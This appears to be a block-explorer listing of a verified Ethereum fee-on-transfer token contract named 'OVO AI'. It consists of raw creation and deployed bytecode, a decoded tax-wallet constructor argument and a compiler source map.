5b81600181146115eb57600281146115f557611611565b60019150506103a1565b60ff84111561160657611606611560565b50506001821b6103a1565b5060208310610133831016604e8410600b8410161715611634575081810a6103a1565b61163e8383611576565b806000190482111561165257611652611560565b029392505050565b600061113a60ff8416836115b9565b80820281158282048414176103a1576103a1611560565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116c757600080fd5b815161113a81611485565b6000806000606084860312156116e757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561171257600080fd5b8151801515811461113a57600080fd5b808201808211156103a1576103a1611560565b60006001820161174757611747611560565b5060010190565b60008261176b57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103a1576103a1611560565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117e95784516001600160a01b0316835293830193918301916001016117c4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e10462bb6bda57bbb22da71dc202f09322cf40c7a28734368a17d959cd541ee264736f6c63430008130033000000000000000000000000db9b142e3df494c47dd31c7d9a45b3264d5d98e3

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a057806395d89b411161006457806395d89b41146102e9578063a9059cbb14610315578063bf474bed14610204578063dd62ed3e14610335578063fb1c80c51461037b57600080fd5b806370a082311461024a578063715018a6146102805780637d1db4a5146102955780638da5cb5b146102ab5780638f9a55c0146102d357600080fd5b80631c1702f3116100e75780631c1702f3146101cd57806323b872dd146101e4578063300d621714610204578063313ce567146102195780634a30b3861461023557600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b857600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260068152654f564f20414960d01b60208201525b60405161015c9190611437565b60405180910390f35b34801561017157600080fd5b5061018561018036600461149d565b610390565b604051901515815260200161015c565b3480156101a157600080fd5b506101aa6103a7565b60405190815260200161015c565b3480156101c457600080fd5b506101aa6103c3565b3480156101d957600080fd5b506101e26103e4565b005b3480156101f057600080fd5b506101856101ff3660046114c9565b6104bd565b34801561021057600080fd5b506101aa610526565b34801561022557600080fd5b506040516009815260200161015c565b34801561024157600080fd5b506101e261053d565b34801561025657600080fd5b506101aa61026536600461150a565b6001600160a01b031660009081526001602052604090205490565b34801561028c57600080fd5b506101e26105ea565b3480156102a157600080fd5b506101aa600c5481565b3480156102b757600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102df57600080fd5b506101aa600d5481565b3480156102f557600080fd5b506040805180820190915260038152624f564f60e81b602082015261014f565b34801561032157600080fd5b5061018561033036600461149d565b61065e565b34801561034157600080fd5b506101aa610350366004611527565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038757600080fd5b506101e261066b565b600061039d338484610a0b565b5060015b92915050565b6103b36009600a61165a565b6103c090622dc6c0611669565b81565b60006103d16009600a61165a565b6103df906305f5e100611669565b905090565b6000546001600160a01b031633146104175760405162461bcd60e51b815260040161040e90611680565b60405180910390fd5b600e5460ff16156104615760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b604482015260640161040e565b600e80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91015b60405180910390a1565b60006104ca848484610ad8565b61051c84336105178560405180606001604052806028815260200161180b602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061107e565b610a0b565b5060019392505050565b6105326009600a61165a565b6103c090600a611669565b6000546001600160a01b031633146105675760405162461bcd60e51b815260040161040e90611680565b6105736009600a61165a565b610581906305f5e100611669565b600c556105906009600a61165a565b61059e906305f5e100611669565b600d557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105ce6009600a61165a565b6105dc906305f5e100611669565b6040519081526020016104b3565b6000546001600160a01b031633146106145760405162461bcd60e51b815260040161040e90611680565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039d338484610ad8565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161040e90611680565b600e5460ff16156106de5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b604482015260640161040e565b6000610729610713606461070d60236106f96009600a61165a565b610707906305f5e100611669565b906110b8565b90611141565b3060009081526001602052604090205490611183565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155909150610763903090600019610a0b565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107da91906116b5565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086091906116b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d191906116b5565b600580546001600160a01b0319166001600160a01b039283161790556008541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610965573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098a91906116d2565b505060055460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a079190611700565b5050565b6001600160a01b03831615801590610a2b57506001600160a01b03821615155b610a775760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f206164647265737300604482015260640161040e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610af857506001600160a01b03821615155b610b445760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f2061646472657373604482015260640161040e565b60008111610ba65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040e565b600080546001600160a01b03858116911614801590610bd357506000546001600160a01b03848116911614155b15610f3b57600e5460ff16610c64576001600160a01b03831660009081526003602052604090205460ff1680610c2157506001600160a01b03841660009081526003602052604090205460ff165b610c645760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161040e565b6005546001600160a01b038581169116148015610c8f57506008546001600160a01b03848116911614155b8015610cb457506001600160a01b03831660009081526003602052604090205460ff16155b15610d9c57600c54821115610d0b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161040e565b600d5482610d2e856001600160a01b031660009081526001602052604090205490565b610d389190611722565b1115610d865760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161040e565b600b8054906000610d9683611735565b91905055505b6005546001600160a01b038481169116148015610dc257506001600160a01b0384163014155b15610df9576064610de86010600b5411610ddd576023610de1565b600a545b84906110b8565b610df2919061174e565b9050610e51565b6005546001600160a01b038581169116148015610e1f57506001600160a01b0383163014155b15610e51576064610e446010600b5411610e3a576023610de1565b60095484906110b8565b610e4e919061174e565b90505b30600090815260016020526040902054600e54610100900460ff16158015610e8657506005546001600160a01b038581169116145b8015610e9a5750600e5462010000900460ff165b8015610ebb5750610ead6009600a61165a565b610eb890600a611669565b81115b8015610ec957506010600b54115b15610f39576000610edc6009600a61165a565b610ee990622dc6c0611669565b8211610ef55781610f0e565b610f016009600a61165a565b610f0e90622dc6c0611669565b9050610f26818511610f2057846111c5565b816111c5565b478015610f3657610f3647611370565b50505b505b8015610fb55730600090815260016020526040902054610f5b90826113aa565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fac9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610fd89083611183565b6001600160a01b03851660009081526001602052604090205561101d610ffe8383611183565b6001600160a01b038516600090815260016020526040902054906113aa565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110678585611183565b60405190815260200160405180910390a350505050565b600081848411156110a25760405162461bcd60e51b815260040161040e9190611437565b5060006110af8486611770565b95945050505050565b6000826000036110ca575060006103a1565b60006110d68385611669565b9050826110e3858361174e565b1461113a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040e565b9392505050565b600061113a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611409565b600061113a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061107e565b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061120957611209611783565b6001600160a01b0392831660209182029290920181019190915260048054600680546001600160a01b031916918516919091179055600854604080516315ab88c960e31b81529051919094169363ad5c464893818401939092918290030181865afa15801561127c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a091906116b5565b816001815181106112b3576112b3611783565b6001600160a01b039283166020918202929092010152600554600780546001600160a01b0319169183169182179055600654600d546112f6939190911690610a0b565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac9479061132f908590600090869030904290600401611799565b600060405180830381600087803b15801561134957600080fd5b505af115801561135d573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a07573d6000803e3d6000fd5b6000806113b78385611722565b90508381101561113a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040e565b6000818361142a5760405162461bcd60e51b815260040161040e9190611437565b5060006110af848661174e565b600060208083528351808285015260005b8181101561146457858101830151858201604001528201611448565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149a57600080fd5b50565b600080604083850312156114b057600080fd5b82356114bb81611485565b946020939093013593505050565b6000806000606084860312156114de57600080fd5b83356114e981611485565b925060208401356114f981611485565b929592945050506040919091013590565b60006020828403121561151c57600080fd5b813561113a81611485565b6000806040838503121561153a57600080fd5b823561154581611485565b9150602083013561155581611485565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115b157816000190482111561159757611597611560565b808516156115a457918102915b93841c939080029061157b565b509250929050565b6000826115c8575060016103a1565b816115d5575060006103a1565b81600181146115eb57600281146115f557611611565b60019150506103a1565b60ff84111561160657611606611560565b50506001821b6103a1565b5060208310610133831016604e8410600b8410161715611634575081810a6103a1565b61163e8383611576565b806000190482111561165257611652611560565b029392505050565b600061113a60ff8416836115b9565b80820281158282048414176103a1576103a1611560565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116c757600080fd5b815161113a81611485565b6000806000606084860312156116e757600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561171257600080fd5b8151801515811461113a57600080fd5b808201808211156103a1576103a1611560565b60006001820161174757611747611560565b5060010190565b60008261176b57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103a1576103a1611560565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117e95784516001600160a01b0316835293830193918301916001016117c4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e10462bb6bda57bbb22da71dc202f09322cf40c7a28734368a17d959cd541ee264736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000db9b142e3df494c47dd31c7d9a45b3264d5d98e3

-----Decoded View---------------
Arg [0] : taxWallet (address): 0xDb9B142e3DF494C47dD31c7d9a45b3264D5d98E3

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000db9b142e3df494c47dd31c7d9a45b3264d5d98e3


Deployed Bytecode Sourcemap

3647:7982:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5713:83;;;;;;;;;;-1:-1:-1;5783:5:0;;;;;;;;;;;;-1:-1:-1;;;5783:5:0;;;;5713:83;;;;;;;:::i;:::-;;;;;;;;6547:161;;;;;;;;;;-1:-1:-1;6547:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6547:161:0;1023:187:1;4791:62:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4791:62:0;1215:177:1;5990:96:0;;;;;;;;;;;;;:::i;11198:220::-;;;;;;;;;;;;;:::i;:::-;;6716:313;;;;;;;;;;-1:-1:-1;6716:313:0;;;;;:::i;:::-;;:::i;4985:57::-;;;;;;;;;;;;;:::i;5899:83::-;;;;;;;;;;-1:-1:-1;5899:83:0;;4645:1;2000:36:1;;1988:2;1973:18;5899:83:0;1858:184:1;11426:159:0;;;;;;;;;;;;;:::i;6094:119::-;;;;;;;;;;-1:-1:-1;6094:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6187:18:0;6160:7;6187:18;;;:9;:18;;;;;;;6094:119;2730:148;;;;;;;;;;;;;:::i;4860:53::-;;;;;;;;;;;;;;;;2516:79;;;;;;;;;;-1:-1:-1;2554:7:0;2581:6;2516:79;;-1:-1:-1;;;;;2581:6:0;;;2445:51:1;;2433:2;2418:18;2516:79:0;2299:203:1;4920:55:0;;;;;;;;;;;;;;;;5804:87;;;;;;;;;;-1:-1:-1;5876:7:0;;;;;;;;;;;;-1:-1:-1;;;5876:7:0;;;;5804:87;;6221:167;;;;;;;;;;-1:-1:-1;6221:167:0;;;;;:::i;:::-;;:::i;6396:143::-;;;;;;;;;;-1:-1:-1;6396:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6504:18:0;;;6477:7;6504:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6396:143;10335:855;;;;;;;;;;;;;:::i;6547:161::-;6622:4;6639:39;353:10;6662:7;6671:6;6639:8;:39::i;:::-;-1:-1:-1;6696:4:0;6547:161;;;;;:::o;4791:62::-;4840:13;4645:1;4840:2;:13;:::i;:::-;4830:23;;:7;:23;:::i;:::-;4791:62;:::o;5990:96::-;6043:7;4701:13;4645:1;4701:2;:13;:::i;:::-;4689:25;;:9;:25;:::i;:::-;6063:15;;5990:96;:::o;11198:220::-;2643:6;;-1:-1:-1;;;;;2643:6:0;353:10;2643:22;2635:67;;;;-1:-1:-1;;;2635:67:0;;;;;;;:::i;:::-;;;;;;;;;11262:11:::1;::::0;::::1;;11261:12;11253:44;;;::::0;-1:-1:-1;;;11253:44:0;;5151:2:1;11253:44:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:50;5269:18;;11253:44:0::1;4949:344:1::0;11253:44:0::1;11308:11;:18:::0;;11337;-1:-1:-1;;11337:18:0;;;;;;;;11371:39:::1;::::0;;-1:-1:-1;5460:41:1;;11308:18:0;11398:11;;::::1;11308:18;11398:11;5544:14:1::0;5537:22;5532:2;5517:18;;5510:50;11371:39:0::1;::::0;5433:18:1;11371:39:0::1;;;;;;;;11198:220::o:0;6716:313::-;6814:4;6831:36;6841:6;6849:9;6860:6;6831:9;:36::i;:::-;6878:121;6887:6;353:10;6909:89;6947:6;6909:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6909:19:0;;;;;;:11;:19;;;;;;;;353:10;6909:33;;;;;;;;;;:37;:89::i;:::-;6878:8;:121::i;:::-;-1:-1:-1;7017:4:0;6716:313;;;;;:::o;4985:57::-;5029:13;4645:1;5029:2;:13;:::i;:::-;5024:18;;:2;:18;:::i;11426:159::-;2643:6;;-1:-1:-1;;;;;2643:6:0;353:10;2643:22;2635:67;;;;-1:-1:-1;;;2635:67:0;;;;;;;:::i;:::-;4701:13:::1;4645:1;4701:2;:13;:::i;:::-;4689:25;::::0;:9:::1;:25;:::i;:::-;11482:12;:23:::0;4701:13:::1;4645:1;4701:2;:13;:::i;:::-;4689:25;::::0;:9:::1;:25;:::i;:::-;11516:14;:25:::0;11557:20:::1;4701:13;4645:1;4701:2;:13;:::i;:::-;4689:25;::::0;:9:::1;:25;:::i;:::-;11557:20;::::0;1361:25:1;;;1349:2;1334:18;11557:20:0::1;1215:177:1::0;2730:148:0;2643:6;;-1:-1:-1;;;;;2643:6:0;353:10;2643:22;2635:67;;;;-1:-1:-1;;;2635:67:0;;;;;;;:::i;:::-;2837:1:::1;2821:6:::0;;2800:40:::1;::::0;-1:-1:-1;;;;;2821:6:0;;::::1;::::0;2800:40:::1;::::0;2837:1;;2800:40:::1;2868:1;2851:19:::0;;-1:-1:-1;;;;;;2851:19:0::1;::::0;;2730:148::o;6221:167::-;6299:4;6316:42;353:10;6340:9;6351:6;6316:9;:42::i;10335:855::-;2643:6;;-1:-1:-1;;;;;2643:6:0;353:10;2643:22;2635:67;;;;-1:-1:-1;;;2635:67:0;;;;;;;:::i;:::-;10398:11:::1;::::0;::::1;;10397:12;10389:43;;;::::0;-1:-1:-1;;;10389:43:0;;5773:2:1;10389:43:0::1;::::0;::::1;5755:21:1::0;5812:2;5792:18;;;5785:30;-1:-1:-1;;;5831:18:1;;;5824:49;5890:18;;10389:43:0::1;5571:343:1::0;10389:43:0::1;10443:19;10465:67;10494:37;10527:3;10494:28;4169:2;4701:13;4645:1;4701:2;:13;:::i;:::-;4689:25;::::0;:9:::1;:25;:::i;:::-;10494:12:::0;::::1;:28::i;:::-;:32:::0;::::1;:37::i;:::-;10483:4;6160:7:::0;6187:18;;;:9;:18;;;;;;10465:28;::::1;:67::i;:::-;10543:15;:80:::0;;-1:-1:-1;;;;;;10543:80:0::1;10580:42;10543:80:::0;;::::1;::::0;;;10443:89;;-1:-1:-1;10634:65:0::1;::::0;10651:4:::1;::::0;-1:-1:-1;;10634:8:0::1;:65::i;:::-;10758:15;;;;;;;;;-1:-1:-1::0;;;;;10758:15:0::1;-1:-1:-1::0;;;;;10758:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10726:83:0::1;;10818:4;10839:15;;;;;;;;;-1:-1:-1::0;;;;;10839:15:0::1;-1:-1:-1::0;;;;;10839:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10726:146;::::0;-1:-1:-1;;;;;;10726:146:0::1;::::0;;;;;;-1:-1:-1;;;;;6405:15:1;;;10726:146:0::1;::::0;::::1;6387:34:1::0;6457:15;;6437:18;;;6430:43;6322:18;;10726:146:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10710:13;:162:::0;;-1:-1:-1;;;;;;10710:162:0::1;-1:-1:-1::0;;;;;10710:162:0;;::::1;;::::0;;10883:15:::1;::::0;::::1;:31;10922:21;10968:4;10988:11:::0;-1:-1:-1;;353:10:0;10883:216:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10883:216:0;;;-1:-1:-1;;;;;6843:15:1;;;10883:216:0::1;::::0;::::1;6825:34:1::0;6875:18;;;6868:34;;;;6918:18;;;6911:34;;;;6961:18;;;6954:34;7025:15;;;7004:19;;;6997:44;11073:15:0::1;7057:19:1::0;;;7050:35;6759:19;;10883:216:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11117:13:0::1;::::0;11148:15:::1;::::0;11110:71:::1;::::0;-1:-1:-1;;;11110:71:0;;-1:-1:-1;;;;;11148:15:0;;::::1;11110:71;::::0;::::1;7581:51:1::0;-1:-1:-1;;7648:18:1;;;7641:34;11117:13:0;::::1;::::0;-1:-1:-1;11110:29:0::1;::::0;7554:18:1;;11110:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10378:812;10335:855::o:0;7037:276::-;-1:-1:-1;;;;;7130:19:0;;;;;;:44;;-1:-1:-1;;;;;;7153:21:0;;;;7130:44;7122:88;;;;-1:-1:-1;;;7122:88:0;;8170:2:1;7122:88:0;;;8152:21:1;8209:2;8189:18;;;8182:30;8248:33;8228:18;;;8221:61;8299:18;;7122:88:0;7968:355:1;7122:88:0;-1:-1:-1;;;;;7221:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7273:32;;1361:25:1;;;7273:32:0;;1334:18:1;7273:32:0;;;;;;;7037:276;;;:::o;7321:2332::-;-1:-1:-1;;;;;7409:18:0;;;;;;:38;;-1:-1:-1;;;;;;7431:16:0;;;;7409:38;7401:83;;;;-1:-1:-1;;;7401:83:0;;8530:2:1;7401:83:0;;;8512:21:1;;;8549:18;;;8542:30;8608:34;8588:18;;;8581:62;8660:18;;7401:83:0;8328:356:1;7401:83:0;7512:1;7503:6;:10;7495:64;;;;-1:-1:-1;;;7495:64:0;;8891:2:1;7495:64:0;;;8873:21:1;8930:2;8910:18;;;8903:30;8969:34;8949:18;;;8942:62;-1:-1:-1;;;9020:18:1;;;9013:39;9069:19;;7495:64:0;8689:405:1;7495:64:0;7570:17;2581:6;;-1:-1:-1;;;;;7606:15:0;;;2581:6;;7606:15;;;;:32;;-1:-1:-1;2554:7:0;2581:6;-1:-1:-1;;;;;7625:13:0;;;2581:6;;7625:13;;7606:32;7602:1695;;;7662:11;;;;7658:195;;-1:-1:-1;;;;;7723:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;7749:24:0;;;;;;:18;:24;;;;;;;;7723:50;7693:144;;;;-1:-1:-1;;;7693:144:0;;9301:2:1;7693:144:0;;;9283:21:1;9340:2;9320:18;;;9313:30;-1:-1:-1;;;9359:18:1;;;9352:50;9419:18;;7693:144:0;9099:344:1;7693:144:0;7881:13;;-1:-1:-1;;;;;7873:21:0;;;7881:13;;7873:21;:55;;;;-1:-1:-1;7912:15:0;;-1:-1:-1;;;;;7898:30:0;;;7912:15;;7898:30;;7873:55;:83;;;;-1:-1:-1;;;;;;7934:22:0;;;;;;:18;:22;;;;;;;;7932:24;7873:83;7869:313;;;7996:12;;7986:6;:22;;7978:60;;;;-1:-1:-1;;;7978:60:0;;9650:2:1;7978:60:0;;;9632:21:1;9689:2;9669:18;;;9662:30;9728:27;9708:18;;;9701:55;9773:18;;7978:60:0;9448:349:1;7978:60:0;8091:14;;8081:6;8065:13;8075:2;-1:-1:-1;;;;;6187:18:0;6160:7;6187:18;;;:9;:18;;;;;;;6094:119;8065:13;:22;;;;:::i;:::-;:40;;8057:79;;;;-1:-1:-1;;;8057:79:0;;10134:2:1;8057:79:0;;;10116:21:1;10173:2;10153:18;;;10146:30;10212:28;10192:18;;;10185:56;10258:18;;8057:79:0;9932:350:1;8057:79:0;8155:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7869:313;8221:13;;-1:-1:-1;;;;;8215:19:0;;;8221:13;;8215:19;:43;;;;-1:-1:-1;;;;;;8238:20:0;;8253:4;8238:20;;8215:43;8210:362;;;8362:3;8291:70;4320:2;8303:9;;:26;8302:58;;4219:2;8302:58;;;8331:13;;8302:58;8291:6;;:10;:70::i;:::-;:74;;;;:::i;:::-;8279:86;;8210:362;;;8417:13;;-1:-1:-1;;;;;8409:21:0;;;8417:13;;8409:21;:43;;;;-1:-1:-1;;;;;;8434:18:0;;8447:4;8434:18;;8409:43;8405:167;;;8553:3;8485:67;4269:2;8497:9;;:25;8496:55;;4169:2;8496:55;;;8524:12;;8485:6;;:10;:67::i;:::-;:71;;;;:::i;:::-;8473:83;;8405:167;8637:4;8588:28;6187:18;;;:9;:18;;;;;;8681:6;;;;;;;8680:7;:48;;;;-1:-1:-1;8715:13:0;;-1:-1:-1;;;;;8709:19:0;;;8715:13;;8709:19;8680:48;:81;;;;-1:-1:-1;8750:11:0;;;;;;;8680:81;:143;;;;-1:-1:-1;4771:13:0;4645:1;4771:2;:13;:::i;:::-;4766:18;;:2;:18;:::i;:::-;8783:20;:40;8680:143;:195;;;;;4373:2;8845:9;;:30;8680:195;8658:628;;;8909:19;4840:13;4645:1;4840:2;:13;:::i;:::-;4830:23;;:7;:23;:::i;:::-;8932:20;:34;8931:69;;8980:20;8931:69;;;4840:13;4645:1;4840:2;:13;:::i;:::-;4830:23;;:7;:23;:::i;:::-;8909:91;;9019:59;9046:11;9037:6;:20;9036:41;;9071:6;9019:16;:59::i;9036:41::-;9059:11;9019:16;:59::i;:::-;9126:21;9169:22;;9166:105;;9216:35;9229:21;9216:12;:35::i;:::-;8890:396;;8658:628;7640:1657;7602:1695;9312:11;;9309:161;;9380:4;9362:24;;;;:9;:24;;;;;;:39;;9391:9;9362:28;:39::i;:::-;9355:4;9337:24;;;;:9;:24;;;;;;;:64;;;;9419:39;;-1:-1:-1;;;;;9419:39:0;;;;;;;9448:9;1361:25:1;;1349:2;1334:18;;1215:177;9419:39:0;;;;;;;;9309:161;-1:-1:-1;;;;;9496:15:0;;;;;;:9;:15;;;;;;:27;;9516:6;9496:19;:27::i;:::-;-1:-1:-1;;;;;9480:15:0;;;;;;:9;:15;;;;;:43;9548:40;9566:21;:6;9577:9;9566:10;:21::i;:::-;-1:-1:-1;;;;;9548:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9534:13:0;;;;;;;:9;:13;;;;;:54;;;;9604:41;;;9623:21;:6;9634:9;9623:10;:21::i;:::-;9604:41;;1361:25:1;;;1349:2;1334:18;9604:41:0;;;;;;;7390:2263;7321:2332;;;:::o;1410:190::-;1496:7;1532:12;1524:6;;;;1516:29;;;;-1:-1:-1;;;1516:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1556:9:0;1568:5;1572:1;1568;:5;:::i;:::-;1556:17;1410:190;-1:-1:-1;;;;;1410:190:0:o;1608:246::-;1666:7;1690:1;1695;1690:6;1686:47;;-1:-1:-1;1720:1:0;1713:8;;1686:47;1743:9;1755:5;1759:1;1755;:5;:::i;:::-;1743:17;-1:-1:-1;1788:1:0;1779:5;1783:1;1743:17;1779:5;:::i;:::-;:10;1771:56;;;;-1:-1:-1;;;1771:56:0;;10984:2:1;1771:56:0;;;10966:21:1;11023:2;11003:18;;;10996:30;11062:34;11042:18;;;11035:62;-1:-1:-1;;;11113:18:1;;;11106:31;11154:19;;1771:56:0;10782:397:1;1771:56:0;1845:1;1608:246;-1:-1:-1;;;1608:246:0:o;1862:132::-;1920:7;1947:39;1951:1;1954;1947:39;;;;;;;;;;;;;;;;;:3;:39::i;1266:136::-;1324:7;1351:43;1355:1;1358;1351:43;;;;;;;;;;;;;;;;;:3;:43::i;9761:566::-;5297:6;:13;;-1:-1:-1;;5297:13:0;;;;;9863:16:::1;::::0;;9877:1:::1;9863:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9863:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9863:16:0::1;9839:40;;9908:4;9890;9895:1;9890:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9890:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9944:10:::1;::::0;;9924:17:::1;:30:::0;;-1:-1:-1;;;;;;9924:30:0::1;9944:10:::0;;::::1;9924:30:::0;;;::::1;::::0;;9975:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9975:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22;;::::1;::::0;9890:7;;9975:22;;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9965:4;9970:1;9965:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9965:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10027:13:::1;::::0;10008:16:::1;:32:::0;;-1:-1:-1;;;;;;10008:32:0::1;10027:13:::0;;::::1;10008:32:::0;;::::1;::::0;;10078:17:::1;::::0;10097:14:::1;::::0;10051:61:::1;::::0;10078:17;;;::::1;::::0;10051:8:::1;:61::i;:::-;10123:15;::::0;:196:::1;::::0;-1:-1:-1;;;10123:196:0;;-1:-1:-1;;;;;10123:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10204:11;;10123:15:::1;::::0;10246:4;;10273::::1;::::0;10293:15:::1;::::0;10123:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5333:6:0;:14;;-1:-1:-1;;5333:14:0;;;-1:-1:-1;;;;9761:566:0:o;9661:92::-;9718:10;;:27;;-1:-1:-1;;;;;9718:10:0;;;;:27;;;;;9738:6;